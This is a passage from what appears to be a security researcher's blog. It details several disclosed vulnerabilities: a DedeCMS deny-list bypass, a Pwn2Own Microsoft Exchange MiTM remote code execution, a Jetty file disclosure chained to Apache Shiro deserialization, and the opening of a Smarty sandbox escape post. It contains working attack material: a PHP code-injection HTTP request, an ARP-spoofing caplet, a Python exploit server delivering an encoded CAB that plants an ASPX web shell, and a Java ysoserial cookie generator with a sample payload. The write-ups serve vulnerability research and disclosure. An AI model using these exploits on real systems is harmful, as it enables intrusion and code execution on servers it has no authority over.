            $tokens = token_get_all_nl($str);
            $disabled_functions = explode(',', $cfg_disable_funs);
            foreach ($tokens as $token) {
                if (is_array($token)) {
                    if ($token[0] = '306' && in_array($token[1], $disabled_functions)) {
                        $errmsg = 'DedeCMS Error:function disabled "' . $token[1] . '" <a href="http://help.dedecms.com/install-use/apply/2013/0711/2324.html" target="_blank">more...</a>';
                        return false;
                    }
                }
            }
        }
        return true;
    }

Well. It’s possible for an attacker to bypass this deny list in several ways with some creativity, write malicious php into the temporary file and finally reach the include in Display at [9] to execute arbitrary code.

Proof of Concept

It’s possible to borrow their own code and call dangerous functions, but there are several generic ways to bypass the deny list anyway. The referer header isn’t checked for double quotes so the following payload will work:

GET /plus/flink.php?dopost=save&c=id HTTP/1.1
Host: target
Referer: <?php "system"($c);die;/*

The following (non-exhaustive) list paths can reach the vulnerability:

  1. /plus/flink.php?dopost=save
  2. /plus/users_products.php?oid=1337
  3. /plus/download.php?aid=1337
  4. /plus/showphoto.php?aid=1337
  5. /plus/users-do.php?fmdo=sendMail
  6. /plus/posttocar.php?id=1337
  7. /plus/vote.php?dopost=view
  8. /plus/carbuyaction.php?do=clickout
  9. /plus/recommend.php

Reporting

I found this vulnerability around April 2021 but decided to sit on it since it only impacted the pre-release and not the release version. After months of inactivity on the repo, I decided to report the bug on 23rd of September to [email protected] and 2 days later a silent patch was released that addressed the bug:

Due to this behaviour from the developer, I decided to not report the rest of the RCE vulnerabilities that impact the release version. Whilst I agree that a CVE is not required, I do think a security note should have been added to the commit at the very least.

Conclusion

I really like auditing Chinese software because the developers tend to think very differently to westerner developers. There logic flow is more fluid and as a security auditor, it requires you to think on your feet and change stratagies as you see new patterns in the code emerging.

It’s a simple reminder that even if a product has been audited to death, do not lose faith in yourself. Your next RCE is right around the corner even if you do not speak Chinese.

References

Pwn2Own Vancouver 2021 :: Microsoft Exchange Server Remote Code Execution

25 August 2021 at 14:00

Exchange Online

In mid-November 2020 I discovered a logical remote code execution vulnerability in Microsoft Exchange Server that had a bizarre twist - it required a morpheus in the middle (MiTM) attack to take place before it could be triggered. I found this bug because I was looking for calls to WebClient.DownloadFile in the hope to discover a server-side request forgery vulnerability since in some environments within exchange server, that type of vulnerability can have drastic impact. Later, I found out that SharePoint Server was also affected by essentially the same code pattern.

TL; DR; This post is a quick breakdown of the vulnerability I used at Pwn2Own Vancouver 2021 to partially win the entry for Microsoft Exchange Server.

Vulnerability Summary

An unauthenticated attacker in a privileged network position such as MiTM attack can trigger a remote code execution vulnerability when an administrative user runs the Update-ExchangeHelp or Update-ExchangeHelp -Forcecommand in the Exchange Management Shell.

Vulnerability Analysis

Inside of the Microsoft.Exchange.Management.dll file the Microsoft.Exchange.Management.UpdatableHelp.UpdatableExchangeHelpCommand class is defined:

protected override void InternalProcessRecord()
{
    TaskLogger.LogEnter();
    UpdatableExchangeHelpSystemException ex = null;
    try
    {
        ex = this.helpUpdater.UpdateHelp();    // 1
    }
    //...

At [1] the code calls the HelpUpdater.UpdateHelp method. Inside of the Microsoft.Exchange.Management.UpdatableHelp.HelpUpdater class we see:

internal UpdatableExchangeHelpSystemException UpdateHelp()
{
    double num = 90.0;
    UpdatableExchangeHelpSystemException result = null;
    this.ProgressNumerator = 0.0;
    if (this.Cmdlet.Force || this.DownloadThrottleExpired())
    {
        try
        {
            this.UpdateProgress(UpdatePhase.Checking, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
            string path = this.LocalTempBase + "UpdateHelp.$$$\\";
            this.CleanDirectory(path);
            this.EnsureDirectory(path);
            HelpDownloader helpDownloader = new HelpDownloader(this);
            helpDownloader.DownloadManifest();    // 2

This function performs a few actions. The first is at [2] when DownloadManifest is called. Let’s take a look at Microsoft.Exchange.Management.UpdatableHelp.HelpDownloader.DownloadManifest:

internal void DownloadManifest()
{
    string downloadUrl = this.ResolveUri(this.helpUpdater.ManifestUrl);
    if (!this.helpUpdater.Cmdlet.Abort)
    {
        this.AsyncDownloadFile(UpdatableHelpStrings.UpdateComponentManifest, downloadUrl, this.helpUpdater.LocalManifestPath, 30000, new DownloadProgressChangedEventHandler(this.OnManifestProgressChanged), new AsyncCompletedEventHandler(this.OnManifestDownloadCompleted));  // 3
    }
}

At [3] the code is calling AsyncDownloadFile using a the ManifestUrl. The ManifestUrl is set when the LoadConfiguration method is called from InternalValidate:

protected override void InternalValidate()
{
    TaskLogger.LogEnter();
    UpdatableExchangeHelpSystemException ex = null;
    try
    {
        this.helpUpdater.LoadConfiguration();   // 4
    }
internal void LoadConfiguration()
{
    //...
    RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp");
    if (registryKey3 == null)
    {
        registryKey3 = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp");
    }
    if (registryKey3 != null)
	{
        try
		{
            this.ManifestUrl = registryKey3.GetValue("ManifestUrl", "http://go.microsoft.com/fwlink/p/?LinkId=287244").ToString();  // 5

At [4] the code calls LoadConfiguration during the validation of the arguments to the cmdlet. This sets the ManifestUrl to http://go.microsoft.com/fwlink/p/?LinkId=287244 if it does not exist in the registry hive: HKLM\SOFTWARE\Microsoft\ExchangeServer\v15\UpdateExchangeHelp at [5]. By default, it does not so the value is always http://go.microsoft.com/fwlink/p/?LinkId=287244.

Back to AsyncDownloadFile at [3] this method will use the WebClient.DownloadFileAsync API to download a file onto the filesystem. Since we cannot control the local file path, there is no vuln here. Later in UpdateHelp, we see the following code:

//...
if (!this.Cmdlet.Abort)
{
    UpdatableHelpVersionRange updatableHelpVersionRange = helpDownloader.SearchManifestForApplicableUpdates(this.CurrentHelpVersion, this.CurrentHelpRevision); // 6
    if (updatableHelpVersionRange != null)
    {
        double num2 = 20.0;
        this.ProgressNumerator = 10.0;
        this.UpdateProgress(UpdatePhase.Downloading, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
        string[] array = this.EnumerateAffectedCultures(updatableHelpVersionRange.CulturesAffected);
        if (array.Length != 0)  // 7
        {
            this.Cmdlet.WriteVerbose(UpdatableHelpStrings.UpdateApplyingRevision(updatableHelpVersionRange.HelpRevision, string.Join(", ", array)));
            helpDownloader.DownloadPackage(updatableHelpVersionRange.CabinetUrl);  // 8
            if (this.Cmdlet.Abort)
            {
                return result;
            }
            this.ProgressNumerator += num2;
            this.UpdateProgress(UpdatePhase.Extracting, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
            HelpInstaller helpInstaller = new HelpInstaller(this, array, num);
            helpInstaller.ExtractToTemp();  // 9
            //...

There is a lot to unpack here (excuse the pun). At [6] the code searches through the downloaded manifest file for a specific version or version range and ensures that the version of Exchange server falls within that range. The check also ensures that the new revision number is higher than the current revision number. If these requirements are satisfied, the code then proceeds to [7] where the culture is checked. Since I was targeting the English language pack, I set this to en so that a valid path can be later constructed. Then at [8] the CabinetUrl is downloaded and stored. This is a .cab file specified in the xml manifest file.

Finally at [9] the cab file is extracted using Microsoft.Exchange.Management.UpdatableHelp.HelpInstaller.ExtractToTemp method:

internal int ExtractToTemp()
{
    this.filesAffected = 0;
    this.helpUpdater.EnsureDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);
    this.helpUpdater.CleanDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);
    bool embedded = false;
    string filter = "";
    int result = EmbeddedCabWrapper.ExtractCabFiles(this.helpUpdater.LocalCabinetPath, this.helpUpdater.LocalCabinetExtractionTargetPath, filter, embedded);   // 10
    this.cabinetFiles = new Dictionary<string, List<string>>();
    this.helpUpdater.RecursiveDescent(0, this.helpUpdater.LocalCabinetExtractionTargetPath, string.Empty, this.affectedCultures, false, this.cabinetFiles);
    this.filesAffected = result;
    return result;
}

At [10] the code calls Microsoft.Exchange.CabUtility.EmbeddedCabWrapper.ExtractCabFiles from the Microsoft.Exchange.CabUtility.dll which is a mix mode assembly containing native code to extract cab files with the exported function ExtractCab. Unfortunately, this parser does not register a callback function before extraction to verify files do not contain a directory traversal. This allowed me to write arbitrary files to arbitrary locations.

Exploitation

A file write vulnerability does not necessarily mean remote code execution, but in the context of web applications it quite often does. The attack I presented at Pwn2Own wrote to the C:/inetpub/wwwroot/aspnet_client directory and that allowed me to make a http request for the shell to execute arbitrary code as SYSTEM without authentication.

Let us review the setup so we can visualize the attack.

Setup

The first step will require you to perform an ARP spoof against the target system. For this stage I choose to use bettercap, which allows you to define caplets that can automate itself. I think the last time I did a targeted MiTM attack was about 12 years ago! Here is the contents of my poc.cap file which sets up the ARP spoof and a proxy script to intercept and respond to specific http requests:

set http.proxy.script poc.js
http.proxy on
set arp.spoof.targets 192.168.0.142
events.stream off
arp.spoof on

The poc.js file is the proxy script that I wrote to intercept the targets request and redirect it to the attackers hosted configuration file at http://192.168.0.56:8000/poc.xml.

function onLoad() {
    log_info("Exchange Server CabUtility ExtractCab Directory Traversal Remote Code Execution Vulnerability")
    log_info("Found by Steven Seeley of Source Incite")
}

function onRequest(req, res) {
    log_info("(+) triggering mitm");
    var uri = req.Scheme + "://" +req.Hostname + req.Path + "?" + req.Query;
    if (uri === "http://go.microsoft.com/fwlink/p/?LinkId=287244"){
        res.Status = 302;
        res.SetHeader("Location", "http://192.168.0.56:8000/poc.xml");
    }
}

This poc.xml manifest file contains the CabinetUrl hosting the malicious cab file along with the Version range that the update is targeting:

<ExchangeHelpInfo>
  <HelpVersions>
    <HelpVersion>
      <Version>15.2.1.1-15.2.999.9</Version>
      <Revision>1</Revision>
      <CulturesUpdated>en</CulturesUpdated>
      <CabinetUrl>http://192.168.0.56:8000/poc.cab</CabinetUrl>
    </HelpVersion>
  </HelpVersions>
</ExchangeHelpInfo>

I packaged up the manifest and poc.cab file delivery process into a small little python http server, poc.py that will also attempt access to the poc.aspx file with a command to be executed as SYSTEM:

import sys
import base64
import urllib3
import requests
from threading import Thread
from http.server import HTTPServer, SimpleHTTPRequestHandler
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class CabRequestHandler(SimpleHTTPRequestHandler):
    def log_message(self, format, *args):
        return
    def do_GET(self):
        if self.path.endswith("poc.xml"):
            print("(+) delivering xml file...")
            xml = """<ExchangeHelpInfo>
  <HelpVersions>
    <HelpVersion>
      <Version>15.2.1.1-15.2.999.9</Version>
      <Revision>%s</Revision>
      <CulturesUpdated>en</CulturesUpdated>
      <CabinetUrl>http://%s:8000/poc.cab</CabinetUrl>
    </HelpVersion>
  </HelpVersions>
</ExchangeHelpInfo>""" % (r, s)
            self.send_response(200)
            self.send_header('Content-Type', 'application/xml')
            self.send_header("Content-Length", len(xml))
            self.end_headers()
            self.wfile.write(str.encode(xml))
        elif self.path.endswith("poc.cab"):
            print("(+) delivering cab file...")
            # created like: makecab /d "CabinetName1=poc.cab" /f files.txt
            # files.txt contains: "poc.aspx" "../../../../../../../inetpub/wwwroot/aspnet_client/poc.aspx"
            # poc.aspx contains: <%=System.Diagnostics.Process.Start("cmd", Request["c"])%> 
            stage_2  = "TVNDRgAAAAC+AAAAAAAAACwAAAAAAAAAAwEBAAEAAAAPEwAAeAAAAAEAAQA6AAAA"
            stage_2 += "AAAAAAAAZFFsJyAALi4vLi4vLi4vLi4vLi4vLi4vLi4vaW5ldHB1Yi93d3dyb290"
            stage_2 += "L2FzcG5ldF9jbGllbnQvcG9jLmFzcHgARzNy0T4AOgBDS7NRtQ2uLC5JzdVzyUxM"
            stage_2 += "z8svLslMLtYLKMpPTi0u1gsuSSwq0VBKzk1R0lEISi0sTS0uiVZKVorVVLUDAA=="
            p = base64.b64decode(stage_2.encode('utf-8'))
            self.send_response(200)
            self.send_header('Content-Type', 'application/x-cab')
            self.send_header("Content-Length", len(p))
            self.end_headers()
            self.wfile.write(p)
            return

if __name__ == '__main__':
    if len(sys.argv) != 5:
        print("(+) usage: %s <target> <connectback> <revision> <cmd>" % sys.argv[0])
        print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 mspaint" % sys.argv[0])
        print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 \"whoami > c:/poc.txt\"" % sys.argv[0])
        sys.exit(-1)
    t = sys.argv[1]
    s = sys.argv[2]
    port = 8000
    r = sys.argv[3]
    c = sys.argv[4]
    print("(+) server bound to port %d" % port)
    print("(+) targeting: %s using cmd: %s" % (t, c))
    httpd = HTTPServer(('0.0.0.0', int(port)), CabRequestHandler)
    handlerthr = Thread(target=httpd.serve_forever, args=())
    handlerthr.daemon = True
    handlerthr.start()
    p = { "c" : "/c %s" % c }
    try:
        while 1:
            req = requests.get("https://%s/aspnet_client/poc.aspx" % t, params=p, verify=False)
            if req.status_code == 200:
                break
        print("(+) executed %s as SYSTEM!" % c)
    except KeyboardInterrupt:
        pass

On each attack attempt, the Revision number needs to be increased because the code will write the value into the registry and after downloading the manifest file, will verify that the file contains a higher Revision number before proceeding to download and extract the cab file.

Bypassing Windows Defender

Executing mspaint is kool and all, but for Pwn2Own we needed a Defender bypass to pop thy shell. After Orange Tsai dropped the details of his ProxyLogin exploit, Microsoft decided to attempt to detect asp.net web shells. So I took a different route than Orange by compiling a custom binary that executed a reverse shell and dropping it onto disk and executing it to side step Defender.

Example Attack

We start by running Bettercap with the poc.cap caplet file:

researcher@pluto:~/poc-exchange$ sudo bettercap -caplet poc.cap
bettercap v2.28 (built for linux amd64 with go1.13.12) [type 'help' for a list of commands]

[12:23:13] [sys.log] [inf] Exchange Server CabUtility ExtractCab Directory Traversal Remote Code Execution Vulnerability
[12:23:13] [sys.log] [inf] Found by Steven Seeley of Source Incite
[12:23:13] [sys.log] [inf] http.proxy enabling forwarding.
[12:23:13] [sys.log] [inf] http.proxy started on 192.168.0.56:8080 (sslstrip disabled)

Now we ping the target (to update the targets cached Arp table) and run the poc.py and wait for an administrative user to run Update-ExchangeHelp or Update-ExchangeHelp -Force in the Exchange Management Console (EMC) (-Force is required if the Update-ExchangeHelp command has been ran within the last 24 hours):

researcher@pluto:~/poc-exchange$ ./poc.py 
(+) usage: ./poc.py <target> <connectback> <revision> <cmd>
(+) eg: ./poc.py 192.168.0.142 192.168.0.56 1337 mspaint
(+) eg: ./poc.py 192.168.0.142 192.168.0.56 1337 "whoami > c:/poc.txt"

researcher@pluto:~/poc-exchange$ ./poc.py 192.168.0.142 192.168.0.56 1337 mspaint
(+) server bound to port 8000
(+) targeting: 192.168.0.142 using cmd: mspaint
(+) delivering xml file...
(+) delivering cab file...
(+) executed mspaint as SYSTEM!

Conclusion

It’s not the first time that a MiTM attack has been used at Pwn2Own and it was nice to find a vulnerability that had no collision with other researchers at the competition. This was only possible by finding a new vector and/or surface to hunt vulnerabilities in within Exchange Server. Logical vulnerabilities are always interesting because it almost always means that exploitation is given, and those same issues are very hard to discover with traditional automated tools. It is argued that all web vulns are in fact, logical in nature. Even web-based injection vulns, since they require no manipulation of memory, and the attack can be repeated ad hoc.

The impact of this vulnerability in Exchange server is quite high since the EMC connects via PS-Remoting to the IIS service which is configured to run as SYSTEM. This is not the case for SharePoint Server where the SharePoint Management Shell (SMS) is directly impacted, achieving code execution as the user running the SMS.

Microsoft patched this issue as CVE-2021-31209 and we recommend you deploy the patch immediately if you have not done so already.

References

Full Stack Web Attack 2021 :: Zero Day Give Away

13 July 2021 at 14:00

This year I released a challenge for the Full Stack Web Attack class:

Challenge

Whilst several people had solved the challenge, no one seemed to have discovered the zero-day that I left lurking! In this blog post I am going to disclose the details about the bug chain. This vulnerability was patched as CVE-2021-28169 and under certain environments it can lead to an elevation of privilege/access or even remote code execution!

By the way - If you didn’t make the class in July 2021 don’t worry we will be running another class later in the year.

Jetty Web Server

As it turns out, the jetty-servlets library contained a vulnerability in the org.eclipse.jetty.servlets.ConcatServlet servlet. If exposed, this could allow an attacker to disclose sensitive files.

Jetty Utility Servlets ConcatServlet Double Decoding Information Disclosure Vulnerability

Inside of the doGet method we see the following code:

/*     */   protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
/*  88 */     String query = request.getQueryString();
/*     */     ...
/*  95 */     List<RequestDispatcher> dispatchers = new ArrayList<RequestDispatcher>();
/*  96 */     String[] parts = query.split("\\&");
/*  97 */     String type = null;
/*  98 */     for (String part : parts) {
/*     */       
/* 100 */       String path = URIUtil.canonicalPath(URIUtil.decodePath(part)); // 1
/*     */       ...       
/* 108 */       if (startsWith(path, "/WEB-INF/") || startsWith(path, "/META-INF/")) { // 2
/*     */         
/* 110 */         response.sendError(404);
/*     */         
/*     */         return;
/*     */       } 
/*     */       ...
/* 128 */       RequestDispatcher dispatcher = getServletContext().getRequestDispatcher(path); // 3
/* 129 */       if (dispatcher != null) {
/* 130 */         dispatchers.add(dispatcher);
/*     */       }
/*     */     } 
/* 133 */     if (type != null) {
/* 134 */       response.setContentType(type);
/*     */     }
/* 136 */     for (RequestDispatcher dispatcher : dispatchers)
/*     */     {
/* 138 */       dispatcher.include(request, response); // 4
/*     */     }
/*     */   }

At [1] the code does a url decode and then attempts to normalize the attacker supplied path. Then at [2] there is a check that the path doesn’t start with “/WEB-INF/” or “/META-INF/”. Later at [3] the RequestDispatcher is made and finally at [4] the include is triggered.

The problem is that the check at [2] can be bypassed because the RequestDispatcher will also handle url decoding. So an attacker can double url encode either a traversal or the WEB-INF/META-INF strings in their controlled paths. This will instantiate a valid dispatcher and leak contents of an attacker controlled file from the ROOT of the web application.

Impact

The vulnerability is limited to a file disclosure from the web application ROOT directory. However, in some contexts this may allow an attacker to escalate further. Let’s use two examples:

  1. Spring - Elevation of privilege/access

In this environment, it’s possible to leak sensitive properties from the application.properties file such as the spring.datasource.url, spring.elasticsearch.rest.password, spring.h2.console.settings.web-admin-password, spring.influx.password, spring.ldap.password, etc.

  1. Apache Shiro - Remote Code Execution

In this environment, it’s possible to leak the shiro.ini file which contains securityManager.rememberMeManager.cipherKey. This key can be used to gain remote code execution against the application via deserialization in the rememberMe cookie.

Proof of Concept

If your testing on your own web application, modify your web.xml to include the vulnerable servlet:

  <servlet>
    <servlet-name>Concat</servlet-name>
    <servlet-class>org.eclipse.jetty.servlets.ConcatServlet</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>Concat</servlet-name>
    <url-pattern>/concat</url-pattern>
  </servlet-mapping>

Or else, you can test it on the challenge image:

docker run --name fswa -it --rm -p 80:8080 registry.gitlab.com/source-incite/fswa-challenge/rceme:2021

Now we can leak the key using the vulnerability:

Triggering CVE-XXXX-YYYY

Excuse me while I ignore all the username and passwords in the shiro.ini file! As it turns out, Apache Shiro uses commons-collections v3.2.2 and commons-beanutils v1.9.4 in their classpath. This is enough for us to generate a gadget chain from ysoserial.

With that wrapped around an encryption layer, we can achieve remote code execution:

researcher@incite:~$ java Poc 
(+) Usage: java Poc <securityManager.rememberMeManager.cipherKey> <command>

researcher@incite:~$ java Poc kPH+bIxk5D2deZiIxcaaaA== "touch /tmp/pwn"
(+) using key kPH+bIxk5D2deZiIxcaaaA==
(+) rememberMe=PN8ZQYXmwp+pLGv7BUqA8WmmnB0xFk420NKLjaUcTWgpmIabZ3LoC8zb2NA1xf4URUZptPD6x/7pzl8WkmjD7DWSTLbLQH9Wqr6hxedjgQris4K6R3HMWuZfAdKWgrV0uomhfqJiA8KpsJvjqWP3p/NcBoeyzHQcG8KxoNBk1slT2Vj78GqL5Uu1DLJrCyo2IgS0UE1A5NgvW8i5FDvSDehFMR9gub83yZtuKU/ia/yehchHv2T7nmhskrzKU5hwyfkERcs0re8MQUVHqzQt+C6cHs119DBIJxnKGmednYxnUe9S2ewGvHZd6j/7Yh92ootlz34dcayQnhO/eCi/gUOqoOuawijywH0quakUqNqldKctYC7JaJTtkma0fKoHhxvKZwqSjAA1miSjjzOxUtz+BdM6byZMrgLkTdySMz+piJYvrcjmR4saXsMhkgOmnUITahvpftRcm46+DrJh8fd5p1lVcjc8p/ysfjSIgODau6be6QlxjX9A5DiTt0jFeWSFhNl0oQYWExT7CLPHid+xVoALso8OHVgw0vQVZ1Nle5z1QyidP86u0N8HQRWyILGazY8yOrdfp0fK1gAifN2p1+0gXLp6M/6fIInEKXi53dP64UmcGkVUvvNEIeQ62J35F0KbW2r2vgSkJufd97mtoP4g2zqSsbzkn2z9BcNbs6K3CU8a7P88bmhFgfooixh2FvLpPE2xP3ZyUYxMHTTDHFIXqYYtwLVkf1Z/vQN5QqaqALtILJr7igMW98CwqM/Os1tqO+pVFRMWKxM43lnMAvbIo/3MwDCDVRXbU8XzG7vTWdWGztsMPX/psZtgCe62ZS1OTUT/BRY5XA+NZGOu1M2OdhThc5o+K58K/mMSTZgjaTXeT3CuPTgrpOE9FPgrhPdQXnSZfJBx3Pv+EFOa7Rp1HsPx0Zir71HR0kmqal56QQ6uYe02iq6+I798Q9ESJwn0XpzE4JSek5uFUF031n9Ieo4DaR4jRz3vLMSP1lS81ZgkIkP0fATMPP5vuipr5+BwynxaoeeGdPBKk8VzupBP+qahtiYJ4f8icsOHtG2/U2ka54zfjpnuTJ3K4gXA0RPZz8WOodNsDOtMMNXzsaLQg6Z1L1fcwawCAkqTCmqkTgBEpF13OemZFkS35LlriDT0XGoGq90oIvAOASBifgqy4mReSwEFmap12ECeemN58gaFyylMPcgLfIqOFZbIYqCvpbvgihVMBh7K2KJUFVU1gfpCfydxtJQAMfjCJ+agNYDvNM93JIkVctOw0YoPGU0Znv6Tu8g8flh8F/SRZ9gy8jTZ1o8m9PgqPsk4PlT0/anB0lY5WFf04oHK1FpS72DKegAaG/zA6UcBO7MI9SgGxm4Dv8vDHUvf5LTwoqxmD2pdnUGQFRtJxwOKEZyUUNdU4yNGg1FBQb2hkxVl/UfMvjjALfSEfkL9AaLWkf//8xqqWLsrij/8+8hH4qayr9UfEZSHLgfLtp2lk/l195ra0zCVfjocTljcnQx452qEDdJRHmujFPXb/auPW7mhCI1xiNldlIrGcrrjqkF/o9Y8w4Qpn32FMldn97Tw3Xn6Gy5eBDf6suAiCrPtv9fNEnFx+ybES8OKLUoe5lMxXPkSW8CxkbcbS8NcWxQOMmL2a8R1o9C589djLMYi31QQbRyQ9m/4g2+tFTy31S/79dwVo7J6GIKBtd3a4SvhK36rEOr13yAvaI995Z3w5Xs2yTeJIm1F649fRI/kIK9DXH5sUNodrukxuOPbc9y3a79uwYMYUR76iH5H5SvvblnAbu0bAByJHpGm0e+UtR0gGYle+jgRqYCXgzk1/AGqdvgj788UqJDgWF2/SCCaHVekhfbfUkcRAV5qMc/y8OAML8s5+O5/6PcrQ0k/8i5lQ/TBYMZ0mHl7AR38fgSP0Bh7L+20NK49+gaqTXBtJ2Jdhhy+pTz6OolV8w43pCiXoRNPc+H2Da3DL7gG/4dDedIM+qDeN37Yy1VpR8qUmwlYYiV2+bohxBFG5gwTMn4v6dLVOrPI+h62qhGdOfWacf2fBsD/KXnLV08eirWdrtT7D7aw11C4gp1Qq4RqiemgV+/iiwLW+F0jvMwXD2/zvv+ukVE2Su9NORFFQqSTFsJCvXujXziRQ511i5wHq+K5qnFQ+2MPZeilpw+ak/HYD38PAuxxb42TUR8FrqfTFlL7HGuWxYSg8TRjaLGzMZdh4CNxiGBlaet2k9HtlEWcEhnn/Fs9FUOvIGqcgf2QvdFQH9AwAVqvS92T1uVx87OzbfZTjqb7FOphQxA7qjVKFHxmY0XOEydfpvbu42d9RGxDws09JN2Co0bKS2wKOpq421ItY6N3BP5TfeSqwwbBKp9I1F6fslZv8TJBNMJ6yqd49+D+RoWoJ0a4OByIsLs49WBTJdKk4Axm1QaM3PZKvv1qSwxUGaqkP2ygWkUe7butcM4Snxkr1gStNe5FBcMOR955lLO+qLyDxeszidJ10b4YkGYga76Y0ddW5M6Xg7kBvXVhmmrBxPhf/fvo3HeWFTSM45vWdGTVQMeKtolOtiDXf8Mif08Dd/HDd8GX6XYd9fh47s708P/8+1j6wVUuN2wu52c1OqihXYh8tzOq/+eb2V+naw6LM1wKvo0ZS/cpC61Ga+Qi6xpGD6mTfYXcMdfOSm0XKrazlbqmDZeliZKFudH7g5d8IYyeZsWnGxnOwEg74jC4oG9m5vqXqnLM4+/0RI8uLobqbHMxSxw5Q/ty5OJYCwnWy3SlvVtYWsUGa6PAK45+hxDx7Gooj8WNBfu+cN2aW7iO/yU0JPB8DnUPl7WdzzSb2Bge5MQfn5Xg7fGnz95szAAOCHByK2ZwGR+RlZZh/rbS9OTQIilP2qNKyST93vhthf99K+HXRGIP91ULw8Y4CJNtlveCEoSjpeKdno66AbbXYGQXsSLdhkc/DBPq/FD5bnrAAl8V1WG2XISCuRwrFbUky0QdlZSv9CbgTfIDOxyrzseD8Jx00iazjINq5c5u3v+BRDJ7HyQGR4e71E1+qz0M/7u/scoORwfc3z6GnQeN4WgLquf7FGXEPeMr/8CVk8cMspqgLZgq+z7uwHnhGOrnX6S4lh09jB9Qoz8lImjA1VXYOz92At3xc7KzangPzFF5hs3QnVzbxoXATFhRt3Y0XLsR9Sl3g63h153vG+JRcEDDTqWT632KKviPLQASvVDM4gbDxaEckXUQ3ZbeTYlIbeAhOcM9OZxEqW3x24OEbQU82OeKYf/xf08uwVbfhbC7yB/V/EBArWjSz5sxnRMsVZ2GDv51s7FxLmMNx0ALQvus6iKGbCNrM7Km9/ptP2K+4gLkWY44ncPaiZV1ts9Ka3ruAHB3lnKubs4I1IAQ0ybHY/H8LvXhf15Hp0AXvwH+Y6ykau9meIEfyg/O6IWXHudPsHlx9OCqV0jmfRW/neAEr/JS8NiAB4yp6HWN90amwe6LAYFhZWZSGPsyKslJOly6CpDWgcCtmoCiHKEqNH+IP8PqrJnp7SXtXoq4J8dUmjGx7wnUXdt1QbuDJnsojjPY1FKANfH2US8T/1ameUuUsU951GNEEc0hAvpvnaCcgrTsDPjwlnNCEpvHWEZ8wo//D/4i2TplpYminV9Ss3oxGGdmVnqSK9PaEQt6w8dvpxxxN0p6irOLJ3B5GKlg/cT+b1+B/AmqBjJGxBWMhRKDd4dFQ3tKRtI0syHKTIKfkU/jc+Ki8TantKk=

Now, we send the cookie to the server targeting any endpoint:

Triggering deserialization by design

Done!

student@target:~$ docker exec -it fswa stat /tmp/pwn
stat: cannot stat '/tmp/pwn': No such file or directory

student@target:~$ docker exec -it fswa stat /tmp/pwn
  File: /tmp/pwn
  Size: 0         	Blocks: 0          IO Block: 4096   regular empty file
Device: 33h/51d	Inode: 1452414     Links: 1
Access: (0644/-rw-r--r--)  Uid: (  999/   jetty)   Gid: (  999/   jetty)
Access: 2021-04-29 18:33:26.410256760 +0000
Modify: 2021-04-29 18:33:26.410256760 +0000
Change: 2021-04-29 18:33:26.410256760 +0000
 Birth: -

…and of course, the Poc.java which is mostly copied borrowed from Apache Shiro:

package shiro;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;
import ysoserial.payloads.ObjectPayload.Utils;
import org.apache.shiro.crypto.cipher.*;
import org.apache.shiro.lang.util.ByteSource;

public class Poc {

    public static void main(String[] args) throws Exception {
        if(args.length != 2){
            System.out.println("(+) Usage: java Poc <securityManager.rememberMeManager.cipherKey> <command>");
            System.exit(0);
        }
		
        // Timo's idea to recycle shiro libs
        AesCipherService aesservice = new AesCipherService();
        aesservice.setModeName("GCM");
        aesservice.setPaddingSchemeName("NoPadding");
        aesservice.setStreamingPaddingSchemeName("NoPadding");
        CipherService cipherService = aesservice;

    	String key = args[0];
    	String cmd = args[1];
        System.out.println("(+) using key " + key);
        byte[] fdata = null;

        // commons-collections 3.2.2 & commons-beanutils 1.9.4
        Object payloadObject = Utils.makePayloadObject("CommonsBeanutils1", cmd);
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream out = null;
        try {
            out = new ObjectOutputStream(bos);   
            out.writeObject(payloadObject);
            out.flush();
            fdata = bos.toByteArray();
        } finally {
            try {
              bos.close();
            } catch (IOException ex) {}
        }
        System.out.println("(+) rememberMe=" + 
            new String(
                Base64.getEncoder().encode(
                    cipherService.encrypt(
                        fdata, Base64.getDecoder().decode(key)
                    ).getBytes()
                )
            )
        );
    }
}

References

Smarty Template Engine Multiple Sandbox Escape PHP Code Injection Vulnerabilities

18 February 2021 at 13:00

In this blog post we explore two different sandbox escape vulnerabilities discovered in the Smarty Template Engine that can be leveraged by a context dependant attacker to execute arbitrary code. Then we explore how these vulnerabilities can be applyed to some applications that attempt to use the engine in a secure way.

The discovered vulnerabilities impact the Smarty Template Engine <= 3.1.38:

1. template_object Sandbox Escape PHP Code Injection

This vulnerability targets an exposed and instantiated Smarty instance and is partially mitigated by using undocumented sandbox hardening features. It was patched as CVE-2021-26119.

2. Smarty_Internal_Runtime_TplFunction Sandbox Escape PHP Code Injection

This vulnerability targets the compilation engine and is unmitigated in versions 3.1.38 and below (even with a hardended sandbox using undocumented features). It was patched as CVE-2021-26120.

Background

The following text is taken directly from the Smarty website:

What is Smarty?

Smarty is a template engine for PHP, facilitating the separation of presentation (HTML/CSS) from application logic. This implies that PHP code is application logic, and is separated from the presentation.

The Philosophy

The Smarty design was largely driven by these goals:

  • clean separation of presentation from application code
  • PHP backend, Smarty template frontend
  • complement PHP, not replace it
  • fast development/deployment for programmers and designers
  • quick and easy to maintain
  • syntax easy to understand, no PHP knowledge required
  • flexibility for custom development
  • security: insulation from PHP
  • free, open source

Why is seperating PHP from templates important?

SANDBOXING: When PHP is mixed with templates, there are no restrictions on what type of logic can be injected into a template. Smarty insulates the templates from PHP, creating a controlled separation of presentation from business logic. Smarty also has security features that can further enforce granular restrictions on templates.

Environment

We have to assume an environment in which a template injection could occur. Many applications allow users to modify templates and given that Smarty clearly states that it has a sandbox it’s likley that this functionality will be exposed as intended by developers.

Granted that, there are two ways in which the author is aware that can lead to the injection of template syntax:

$smarty->fetch($_GET['poc']);
$smarty->display($_GET['poc']);
